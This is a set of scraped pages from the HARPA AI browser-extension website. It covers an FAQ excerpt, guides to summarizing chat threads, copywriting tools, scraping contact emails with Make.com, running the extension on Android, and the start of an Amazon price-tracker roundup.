setup. There are Pros and Cons to using OpenAI API keys over Browser Session: * Browser Session connection is free, Browser Session Plus is $20 / month and OpenAI API Key connection is paid per use based on the number of tokens (request volume). * GPT-5.4 access is unlimited on OpenAI API key connection. Browser Session Plus has per-session rate limits. * The OpenAI API key connection is reliable, never disconnects or logs you out. ![](https://harpa.ai/img/icons/annotation-question.svg) What search engine supported? ----------------------------- HARPA provides AI search assistance for Google, Google Scholar, Baidu, Bing, DuckDuckGo, Brave, Yahoo, Naver, Yandex, Kagi, Searx. ![](https://harpa.ai/img/icons/annotation-question.svg) Can I reuse one AI dialogue across multiple browser tabs? --------------------------------------------------------- Yes, this feature is available on **HARPA S** plan. Please note the dialogue content is not stored on our servers and is not synched between your devices. ![](https://harpa.ai/img/icons/annotation-question.svg) What is a Prompt and AI Command? -------------------------------- A prompt is a message (instruction) your send to Large Language Model (LLM) such as OpenAI GPT-5. AI Command is an automation recipe which may or may not include steps that prompt LLMs. Think of AI Commands as a sequence of steps, e.g. “Navigate to web page”, “Click Messages button”, “Extract messages”, “Run through GPT to find important messages”, “Send as Email”. HARPA comes with over 100+ preconfigured commands and you can create yourself to automate your workflow. ![](https://harpa.ai/img/icons/annotation-question.svg) What are Prompt Parameters? --------------------------- HARPA makes it possible to customise your prompts with predefined parameters, such as: * {{page}} to reference page content. * {{transcript}} to extract YouTube video transcript. * {{selection}} to get text selected on page. * {{gpt}} to reference the last GPT answer and chain your requests. You can also create custom parameters in your commands to store data or options. Custom parameters are usually named {{p1}}, {{p2}}… You can also set up global parameters such as {{g.tone}} and reuse them in your prompts e.g. to write customised emails. ![](https://harpa.ai/img/icons/annotation-question.svg) How chunking works? ------------------- Large Language Models have a limited token window, e.g. 8192 tokens on ChatGPT 3.5. It is often impractical or impossible to fit large documents, web pages, and video transcripts into a single GPT request. [Chunking](https://harpa.ai/guides/chunking) is a technique that divides content into smaller parts, also called chunks, to ensure that each part, including the prompt, fits within the GPT token limit. These chunks are then injected into prompts as {{chunk}} parameters and processed by GPT one by one. Chunking does not possess inherent memory. Therefore, if you require context to be maintained across chunks, it must be incorporated within the prompt. ![](https://harpa.ai/img/icons/translate-01.svg) How to change AI response or UI language? ----------------------------------------- Both the AI response language and the UI language can be changed in the HARPA AI settings at the top of the settings list. You can also send {{language}} parameter in chat along with your prompts to instruct AI to reply in a given language. ![](https://harpa.ai/img/icons/puzzle-piece-01.svg) Does HARPA have a CloudAI API? ------------------------------ Yes. HARPA S plan comes with CloudAI API, and provides reliable access to OpenAI and ClaudeAI models. ![](https://harpa.ai/img/icons/puzzle-piece-01.svg) Does HARPA have a Server API? ----------------------------- This is a planned feature. You can follow product updates in our Discord and also vote for the features you’d like to see implemented first. ![](https://harpa.ai/img/icons/puzzle-piece-01.svg) Do you offer Firefox version? ----------------------------- Not at the moment. The Firefox version as well as UI translation are planned after all the major features are implemented. ![More questions avatar](https://harpa.ai/img/misc/more-questions-avatar.png) Can’t find the answer you’re looking for? Please check out the [User Guides](https://harpa.ai/guides) and [Videos](https://www.youtube.com/@HarpaAI) , send us [Email](https://harpa.ai/cdn-cgi/l/email-protection#a5d6d0d5d5cad7d1e5cdc4d7d5c48bc4cc) or ask your question in the [Discord community](https://discord.gg/B9Evx82m4K) [USER GUIDES](https://harpa.ai/guides) [](https://discord.gg/B9Evx82m4K) CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | How to Summarize Discord, WhatsApp, Reddit & Other Chats with AI [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/communication/message-chat-circle.svg) How to Summarize Discord, WhatsApp, Reddit & Other Chats with AI ================================================================ OUTLINE NAVIGATE HARPA AI already includes a built-in [/summary](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) command that works out of the box with web pages, PDFs, YouTube videos and chat threads. You don't need to configure anything — just [install HARPA AI](https://get.harpa.ai/) , open a page, press **Alt+A** (Windows) or **^+A** (Mac) and run **/summary**. The command automatically picks the right context parameter for the page you're on — **{{page}}** for articles, **{{transcript}}** for YouTube videos and **{{thread}}** for chat threads — so it correctly parses and summarizes the content without any extra setup. This guide is for those who want to go further: customize the summary prompt, extract more messages than the default, analyze conversations in depth or parse chat data to send it elsewhere — to a webhook, Google Sheets, Notion or any other service via [automation steps](https://harpa.ai/chatml/automation-steps) . [\#](https://harpa.ai/blog/summarize-threads-and-conversations#the-{{thread}}-parameter) The {{thread}} Parameter ------------------------------------------------------------------------------------------------------------------ HARPA AI provides the **{{thread}}** parameter that lets you extract chat history, parse message threads and generate AI-powered summaries — all without leaving your browser or copy-pasting anything. [\#](https://harpa.ai/blog/summarize-threads-and-conversations#where-does-it-work?) Where Does It Work? -------------------------------------------------------------------------------------------------------- The **{{thread}}** parameter supports extracting messages and comments from 7 major platforms: * **Discord** - server channels, forum posts and threads * **WhatsApp** - group chats and personal conversations (web.whatsapp.com) * **Telegram** - private chats, group messages and public channels (web.telegram.org) * **Reddit** - post discussions and nested comment threads * **YouTube** - video comment sections * **Facebook** - post comments and replies * **X (Twitter)** - tweet replies and conversation threads HARPA automatically detects the platform, scrolls through the page to collect messages and feeds the extracted conversation into your AI prompt. [\#](https://harpa.ai/blog/summarize-threads-and-conversations#how-to-summarize-a-chat-thread) How to Summarize a Chat Thread ------------------------------------------------------------------------------------------------------------------------------ 1. Open HARPA AI by pressing **Alt+A** (Windows) or **^+A** (Mac). 2. Navigate to any supported page — a Discord channel, a Reddit post, a YouTube video, etc. 3. Type a prompt using the **{{thread}}** parameter and press Enter, for example: Summarize this thread for me in 5 bullet points: {{thread}} HARPA will parse the conversation, extract usernames, timestamps and message content, and pass everything to the AI model for analysis. [\#](https://harpa.ai/blog/summarize-threads-and-conversations#controlling-how-many-messages-to-extract) Controlling How Many Messages to Extract -------------------------------------------------------------------------------------------------------------------------------------------------- By default, **{{thread}}** scrapes up to **100** messages from the conversation. You can adjust the extraction depth with the **limit** option to capture more or fewer messages: * `{{thread}}` - extracts up to 100 messages (default) * `{{thread limit=50}}` - quick overview of recent activity * `{{thread limit=500}}` - deeper conversation analysis * `{{thread limit=1000}}` - comprehensive thread extraction for long discussions A higher limit is useful for active Discord channels, lengthy Reddit debates or WhatsApp group chats with extensive message history. A lower limit works well when you just need a quick recap of the latest updates. [\#](https://harpa.ai/blog/summarize-threads-and-conversations#example-prompt:-summarize-a-discord-channel) Example Prompt: Summarize a Discord Channel -------------------------------------------------------------------------------------------------------------------------------------------------------- Open a Discord channel in your browser, paste this prompt into HARPA AI and hit Enter: Create a concise, high-value summary of a Discord channel. Requirements: - The output must be in {{language}} - Be concise and optimize for a busy reader - Focus on actionable insights and important context - Do not add unnecessary introductions or filler Include the following: - Key discussions, decisions, or announcements - Mentions of people who posted the most important or impactful messages (by username) - Notable insights, opinions, or expertise shared by specific participants - Any unresolved questions, next steps, or follow-ups that may be useful DISCORD THREAD: {{thread limit=1000}} YOUR SUMMARY: This prompt works with any supported platform. Simply swap the context label to match your use case — "WHATSAPP CHAT", "REDDIT THREAD", "TELEGRAM CHAT", "YOUTUBE COMMENTS" — and adjust the message limit as needed. [\#](https://harpa.ai/blog/summarize-threads-and-conversations#use-cases) Use Cases ------------------------------------------------------------------------------------ * **Community managers**: digest daily activity across Discord or Telegram channels without reading every message * **Researchers**: quickly extract key opinions and arguments from Reddit threads or Twitter conversations * **Content creators**: mine YouTube comment sections for audience feedback, video ideas and frequently asked questions * **Team leads**: catch up on WhatsApp or Telegram group discussions after being away * **Social media analysts**: track sentiment and talking points across Facebook and X threads [\#](https://harpa.ai/blog/summarize-threads-and-conversations#save-it-as-a-reusable-command) Save It as a Reusable Command ---------------------------------------------------------------------------------------------------------------------------- Instead of pasting the prompt every time, save it as a custom HARPA command: 1. Type **/** in HARPA AI chat and click **CREATE**. 2. Add a **GPT** step and paste the summary prompt. 3. Save your command with a name like "Summarize Thread". Now you can run your thread summarizer on any supported page with a single click. Learn more in the [Custom AI Commands](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) guide. [\#](https://harpa.ai/blog/summarize-threads-and-conversations#further-reading) Further Reading ------------------------------------------------------------------------------------------------ * [Command Parameters](https://harpa.ai/chatml/parameters) * [Custom AI Commands](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) * [Summarize Pages & YouTube Videos](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) * [Automation Steps](https://harpa.ai/chatml/automation-steps) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/harpa-changelog) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/free-article-and-pdf-summarizers-with-ai) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT as Copywriting Assistant [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/shapes/star-07.svg) ChatGPT as Copywriting Assistant ================================ OUTLINE NAVIGATE HARPA's advanced **/composer** command effortlessly turns diverse inputs into captivating content. Combined with on-the-go Quick Commands Access on websites and robust SEO tools, it ensures content optimization, while unique visuals and charts elevate the overall appeal. [\#](https://harpa.ai/blog/chatgpt-as-copywriting-assistant#harpa-ai:-notion-ai-free-alternative) HARPA AI: Notion AI free Alternative --------------------------------------------------------------------------------------------------------------------------------------- Both HARPA AI and Notion AI are powerful tools in the field of AI-assisted copywriting. * **Notion AI** is a paid add-on priced at $8-15 per month for a single user. It stands out as an exceptional tool for copywriters who rely on various sources like websites, videos, Google search results, and tweets to gather information for their writing. However, it requires users to manually copy information to Notion before utilizing the AI. * **HARPA AI** is free to use and offers a unique capability: ability to transform any kind of an input into genuinely human-written text. You can copy and paste text into HARPA, use a YouTube transcript, or highlight any text fragment to invoke the Quick Commands Access bar. The input for content ideas is limited only by your imagination. Unlike Notion, HARPA extends AI to every corner of the Internet, empowering you to boost your writing performance. [\#](https://harpa.ai/blog/chatgpt-as-copywriting-assistant#how-to-use-copywriting-options-in-harpa) How to use copywriting options in HARPA --------------------------------------------------------------------------------------------------------------------------------------------- To start, install Google Chrome or a Chromium-based browser. 1. Install the HARPA AI [Free Chrome Extension](https://get.harpa.ai/) and connect to ChatGPT in Chrome. 2. Open HARPA by clicking its icon in the top right corner of the Chrome Browser or by pressing **Alt+A** (on Windows) and **^+A** (on Mac). 3. Craft an article using **/composer**. Read more on the [/compose command](https://harpa.ai/guides/write-text-on-websites-with-ai) , or to explore various [Writing Styles](https://harpa.ai/guides/writing-styles) . Alternatively: 1. Select any text on page to get quick commands in the lower right corner. ![](https://harpa.ai/img/blog/blog1-1.webp) You can rephrase, shorten, expand, translate or reply with a single click. ![](https://harpa.ai/img/blog/blog1-2.webp) 2. Click Rewrite button to change the style, length, and tone of selected text. ![](https://harpa.ai/img/blog/blog1-3.webp) ![](https://harpa.ai/img/blog/blog1-4.webp) 3. Select an option or provide instructions for the AI. The result will be ready in a few seconds. ![](https://harpa.ai/img/blog/blog1-5.webp) 4. Refine AI-generated text until you're satisfied with the results, then paste it back into the webpage. 5. Use the "fix grammar" button to instantly correct your text. This can come in handy if you're satisfied with the text, but want to check grammar and punctuation. ![](https://harpa.ai/img/blog/blog1-6.webp) 6. You can customize the Quick Access bar interface to fit your specific needs. All your favorite commands will appear in the quick access panel. ![](https://harpa.ai/img/blog/blog1-7.webp) * Choose any text to translate. You can swiftly transform your selected text into your preferred language, without the need to navigate multiple applications. ![](https://harpa.ai/img/blog/blog1-8.webp) ![](https://harpa.ai/img/blog/blog1-9.webp) * HARPA can respond to messages, emails, or comments on your behalf. Simply select the desired response style, paste the response text, and send it back with just one click. ![](https://harpa.ai/img/blog/blog1-10.webp) ![](https://harpa.ai/img/blog/blog1-11.webp) * All of these options are available as quick commands. Type “**/**” and you'll find the **/reply**, **/rewrite**, and **/compose** commands. ![](https://harpa.ai/img/blog/blog1-12.webp) [\#](https://harpa.ai/blog/chatgpt-as-copywriting-assistant#use-cases) Use Cases --------------------------------------------------------------------------------- * 📝 **Content Creation:** Content creators, such as bloggers, journalists, and social media managers, can use HARPA AI to generate engaging and high-quality content. Whether they need assistance with crafting blog articles, social media posts, or captivating headlines, HARPA can provide valuable suggestions, rephrase sentences, and offer writing prompts to enhance the overall quality and impact of their content. * 📧 **Customer Support:** Customer support teams can utilize HARPA AI to streamline their responses and provide timely assistance to customers. Support agents can quickly generate personalized email responses, live chat messages, or even social media replies. This enables them to handle customer queries efficiently and maintain a consistent tone across different channels. * **📌 Marketing and Advertising:** Marketers and advertisers can leverage HARPA AI to create compelling copy for various marketing materials. Whether they need to write persuasive ad copies, engaging landing page content, or attention-grabbing headlines, HARPA can provide valuable suggestions, rewrite sentences, and offer creative prompts to optimize the effectiveness of their marketing campaigns. * **📚 Academic Writing:** Students, researchers, and educators can benefit from HARPA AI when working on academic papers, essays, or research projects. The Composer tool can assist in generating well-structured articles outlines, proofreading and correcting grammar and punctuation, and suggesting alternative phrasings to enhance the clarity and coherence of academic writing. * **🗣️ Speechwriting:** Professionals who need to deliver impactful speeches or presentations can use HARPA AI Composer to create compelling scripts. They can receive assistance in crafting powerful introductions, structuring key points, and refining the overall flow and delivery of their speeches. This helps them deliver confident and persuasive presentations that resonate with their audience. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/how-to-change-harpa-ai-language-setting) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/chatgpt-for-ecommerce) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Web Search & Scraping with Make.com and HARPA GRID [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/grid.svg) Web Search & Scraping with Make.com and HARPA GRID ================================================== CONTENTS [\#](https://harpa.ai/grid/web-search-and-scraping#features-of-this-scraping-workflow) Features of this Scraping Workflow -------------------------------------------------------------------------------------------------------------------------- In this guide, we’ll show you how to use a Make.com workflow to efficiently scrape data from websites. You can either search for resources or upload your own list of URLs, making it easy to gather the information you need. Here are four ways this tool can help boost your organization’s profits: 1. **Supplier and Partner Research**: Quickly find and evaluate potential partners by scraping data from supplier websites, making your procurement process smoother and more cost-effective. 2. **Lead Generation**: Automatically gather contact information from targeted sites to fill your sales pipeline with qualified leads, increasing your chances of closing deals. 3. **Market Trends**: Stay updated on industry changes and customer preferences by collecting real-time data, allowing you to make informed decisions that drive higher sales. 4. **Automated Blog Management**: Keep your blog fresh with the latest news and insights by scraping relevant content, engaging your audience and establishing your brand as an industry leader. By integrating HARPA AI with the Make.com workflow, you can further streamline your processes and achieve measurable results. ### [\#](https://harpa.ai/grid/web-search-and-scraping#requirements-for-this-scenario:) Requirements for this Scenario: 1. Complete the basic HARPA & Make.com setup: * Sign up for Make.com. * Set up an active [HARPA GRID Node](https://harpa.ai/grid/browser-automation-node-setup) . * Configure the [HARPA API Connection](https://harpa.ai/grid/make-com-harpa-grid-setup-basics#harpa-api-connection) in Make.com. An alternative way to extract data from a webpage is by using AI processing. To start, import the [Convert Page to JSON](https://harpa.ai/library/convert-page-to-json/6728a09322b006c16f7f43e3) or [Database Enrichment](https://harpa.ai/library/database-enrichment/6728a09322b006c16f7f43e3) command into your HARPA. This will convert webpage content into a structured and customizable JSON format. You can find an example of this alternative approach in [this guide](https://harpa.ai/grid/lead-database-enrichment) . [\#](https://harpa.ai/grid/web-search-and-scraping#creating-and-running-a-scenario) Creating and Running a Scenario -------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/grid/web-search-and-scraping#search-web-resources-for-scraping) Search Web Resources for Scraping Instead of Web Searching module, you can add a connection to another module (such as your CRM, Google Sheets, or another resource that contains a list of links where you need to scrape for information). Let's say you don't have this data and want to find a list of links based on your search query - "Contact Email Car service Austin, Texas" to find contact information for selling your products. ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) TIP: When creating your search query, include the words "contact" or "email" right away. This helps find pages that contain contact information. 1. Create a new scenario in Make.com ![](https://harpa.ai/img/grid/harpa-grid-make-com-1.webp) 2. Click "+" and add a **HARPA: Search The Web** module to your scenario ![](https://harpa.ai/img/grid/harpa-grid-make-com-12.webp) 3. Choose your connection and type in what you want to search for. Remember, if you have other modules in your scenario that automatically create search queries, you can drag the relevant item into this field. ![](https://harpa.ai/img/grid/grid-search-scrape-1.webp) 4. Test this Module, and it will return a data array containing the Search Page text content and 8 links to found resources, including page titles and descriptions. ![](https://harpa.ai/img/grid/grid-search-scrape-2.webp) We now have a list of links where we can search for contact emails using either the Scraping Module or AI Command. ### [\#](https://harpa.ai/grid/web-search-and-scraping#iterator-mudule) Iterator Mudule This module will help us process links one by one, whether they are found or already in your possession, parsing information from each website. 1. Add the next module - **Iterator**. This will help process each link in the data array one by one. ![](https://harpa.ai/img/grid/grid-search-scrape-3.webp) 2. In the Iterator settings, drag the array element containing our previous search results. Note: You need the full array containing all the data, not specific fields like link or description. ![](https://harpa.ai/img/grid/grid-search-scrape-4.webp) ### [\#](https://harpa.ai/grid/web-search-and-scraping#finding-information-using-harpa-scraping-module) Finding Information Using HARPA Scraping Module The "Scrap Web Page" module lets you convert webpage content to Markdown format using your browser. You can select specific elements using CSS, XPath, or Text selectors. If you don't specify elements to grab, you'll get the full webpage text. In this example, we'll focus on extracting contact emails. Don't worry if you're not familiar with CSS, XPath, or Text selectors - you can always ask AI for help. This is what we'll try to accomplish. 1. Click "+" and add a **HARPA: Scrap Web Page** module to your scenario ![](https://harpa.ai/img/grid/harpa-grid-make-com-15.webp) 2. Select your connection and drag the URL element from the previous module (Iterator). ![](https://harpa.ai/img/grid/grid-search-scrape-5.webp) 3. The most challenging part is finding the right data - you may need to experiment to find the correct selectors for emails. Usually AI provides helpful hints. { "selector": "a[href^='mailto:']", "selectorType": "css", // or "auto" "at": "all", "take": "innerText", "label": "emails" } ![](https://harpa.ai/img/grid/grid-search-scrape-6.webp) 4. Test your entire scenario to make sure the data is received before we move on to creating Google Sheets with all contacts. ![](https://harpa.ai/img/grid/grid-search-scrape-7.webp) It's fine if emails are not found on some websites - they might not exist there, or you may need to search using two different selectors where one of them will work. E.g.: { "selector": "//*[contains(text(),'@')]", "selectorType": "xpath", "at": "all", "take": "innerText", "label": "emails2" } ![icon](https://harpa.ai/icon/lines/communication/message-alert-square.svg) We have created a scenario that collects emails based on search terms targeted to your potential customers. You can send this information to your Database, CRM, Google Sheets or other storage systems. You can also use more HARPA AI Commands to create custom emails for each contact. ### [\#](https://harpa.ai/grid/web-search-and-scraping#storing-parsing-results-in-google-sheets) Storing Parsing Results in Google Sheets 1. Add the **Google Sheets: Add a Row** module. If you have never used Google Sheets with Make.com before, you need to create a connection. ![](https://harpa.ai/img/grid/grid-search-scrape-9.webp) 2. Open your Google Drive and create a spreadsheet in Google Sheets to store the extracted data. Of course, it's possible to set up automatic creation of Google Sheets, but that would only complicate this explanation. ![](https://harpa.ai/img/guides/harpa-make-com-19.webp) Create a Google Sheets file and add these column headers in row 1: Title, Website, Description, Email, Page Content (optional - for creating personalized emails later) ![](https://harpa.ai/img/grid/grid-search-scrape-8.webp) 11. Go back to Make.com and select your file by name in the Google Sheets module. Choose the Sheet Name and drag data from the previous Module into the appropriate columns for storage. ![](https://harpa.ai/img/grid/grid-search-scrape-10.webp) You can add a filter to the link between modules. For example, you can filter out websites where the email field is empty, if those sites don't interest you. ![](https://harpa.ai/img/grid/grid-search-scrape-11.webp) ![](https://harpa.ai/img/grid/grid-search-scrape-12.webp) Your Scenario is ready - you can now save and test it. ![](https://harpa.ai/img/grid/grid-search-scrape-13.webp) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/grid/lead-database-enrichment) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/grid/auto-draft-support-email-replies) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | HARPA AI for Android [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/media/tablet-02.svg) HARPA AI for Android ==================== OUTLINE NAVIGATE HARPA AI is a browser extension designed for PC browsers. While we plan to develop a mobile app, you can still use HARPA AI on Android devices today with Kiwi Browser. Kiwi Browser supports desktop extensions. You can get Kiwi Browser here: https://play.google.com/store/apps/details?id=com.kiwibrowser.browser [\#](https://harpa.ai/blog/how-to-run-harpa-ai-on-android#how-to-install-harpa-ai-on-android-kiwi-browser) How to Install HARPA AI on Android Kiwi Browser ----------------------------------------------------------------------------------------------------------------------------------------------------------- 1. Download Kiwi Browser from your Play Store: https://play.google.com/store/apps/details?id=com.kiwibrowser.browser 2. Sign in to your Google Profile in Kiwi Browser 3. Install HARPA AI: https://chromewebstore.google.com/detail/harpa-ai-automation-agent/eanggfilgoajaocelnaflolkadkeghjp 4. Log in to HARPA AI through Kiwi Browser: https://harpa.ai/login 5. Click the HARPA icon in the extensions list on any webpage to open HARPA. ![](https://harpa.ai/img/blog/how-to-use-harpa-ai-on-android-1.webp) 6. You can use built-in commands, chat with AI on any webpage, and access other features. However, this is only a temporary solution - Kiwi Browser has limited functionality compared to desktop browsers and some features may not work fully. ![](https://harpa.ai/img/blog/how-to-use-harpa-ai-on-android-2.webp) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/chatgpt-for-ecommerce) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-use-chatgpt-sandbox-digital-playground) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Best Amazon Price Trackers 2026: Keepa, CamelCamelCamel & Free Extensions for Price History & Drop Alerts [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/finance/sale-01.svg) Best Amazon Price Trackers 2026: Keepa, CamelCamelCamel & Free Extensions for Price History & Drop Alerts ========================================================================================================= OUTLINE NAVIGATE ![](https://harpa.ai/img/blog/best-amazon-price-trackers-1.webp) Whether you're a savvy shopper hunting deals or an e-commerce seller monitoring competitors on Amazon, a reliable **Amazon price tracker** and **price history checker** tool is essential. These extensions track price fluctuations, send **price alerts** for drops, and handle **back in stock alerts**. Keepa dominates as the best overall **Amazon price tracker extension** (5.6 billion products across 11 marketplaces), while CamelCamelCamel leads free options. Honey's Droplist adds multi-retailer coverage, and **HARPA AI** emerges as the AI-powered standout for automated monitoring beyond Amazon. Discover free **price tracker history** tools, **Amazon price drop tracker** extensions for Chrome, Firefox, Safari, and Opera, plus Reddit favorites. ![](https://harpa.ai/img/blog/best-amazon-price-trackers-2.webp) [\#](https://harpa.ai/blog/best-amazon-price-trackers-and-drop-alerts#why-use-an-amazon-price-tracker-for-history-checks-and-drop-alerts?) Why Use an Amazon Price Tracker for History Checks and Drop Alerts? --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- In today's fast-moving e-commerce world, prices on Amazon change hourly—sometimes dropping 20-50% in flash sales. A solid **Amazon price tracker** gives you interactive **price history checker** charts showing highs, lows, and trends for Amazon and third-party sellers. Set **price alerts** for custom thresholds, get notified via email or push when deals hit, and avoid overpaying. For e-commerce sellers, these tools enable daily competitor **price monitoring** across products, spotting Buy Box wins or stock issues. Keepa ranks #1 for depth (hourly updates, sales rank data), while CamelCamelCamel is the top free option. Reddit threads echo this, praising Keepa over Camel for accuracy. Free tiers abound: basic charts and alerts without premium costs. AI options like **HARPA AI** automate checks on Amazon, Walmart, and AliExpress with webhook and Make.com integration. Browser extensions work seamlessly on Chrome (4M+ users for Keepa), Firefox, Edge, Safari, and Opera. [\#](https://harpa.ai/blog/best-amazon-price-trackers-and-drop-alerts#keepa:-the-best-overall-amazon-price-tracker-extension) Keepa: The Best Overall Amazon Price Tracker Extension ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Keepa stands out as the **best Amazon price tracker** across reviews, tracking up to 5.6 billion products in 11 marketplaces (US, UK, DE, FR, IT, ES, JP, CA, and more). Its free basic plan offers detailed **price history checker** charts with highs/lows, sales rank, inventory levels, and Buy Box data—updated hourly for precision. The **Keepa** extension shines on Chrome (4.7/5 stars, 4M users), Firefox, Edge, Safari, Opera. Premium unlocks advanced **price alerts**, API access, and more. Compared to CamelCamelCamel, Keepa covers vastly more products with superior features like inventory tracking. Install, visit any Amazon page, and overlay charts instantly—no account needed for basics. * **Chrome**: 4.7/5, seamless overlays on product pages. * **Firefox**: Robust charts, hover previews. * **Edge/Safari/Opera**: App-based for full features. Sources: [Keepa Chrome](https://chromewebstore.google.com/detail/keepa-amazon-price-tracke/neebplgakaahbhdphmkckjjcegoiijjo) , [Firefox](https://addons.mozilla.org/en-US/firefox/addon/keepa) , [Safari](https://apps.apple.com/us/app/keepa-price-tracker/id1533805339) . [\#](https://harpa.ai/blog/best-amazon-price-trackers-and-drop-alerts#camelcamelcamel:-top-free-amazon-price-tracker) CamelCamelCamel: Top Free Amazon Price Tracker --------------------------------------------------------------------------------------------------------------------------------------------------------------------- For a completely **free Amazon price tracker**, CamelCamelCamel (CCC) is a top pick, tracking products across 8-10 marketplaces (US, UK, CA, FR, DE, IT, ES, JP). Ad and affiliate-funded, it delivers clean **price history** charts without premium upsells. The Camelizer extension supports Chrome, Firefox, Edge, Opera, Safari. Set email **price alerts** for drops or availability; Reddit loves it as the go-to free option for simple setups. Vs. Keepa, CCC is less scalable but easier for beginners—no learning curve. Paste ASINs on camelcamelcamel.com or use the extension for one-click history. Perfect for quick **Amazon price history** checks without commitments. Sources: [Camelizer Chrome](https://chromewebstore.google.com/detail/the-camelizer/ghnomdcacenbmilgjigehppbamfndblo) , [Firefox](https://addons.mozilla.org/en-US/firefox/addon/the-camelizer-price-history-ch) 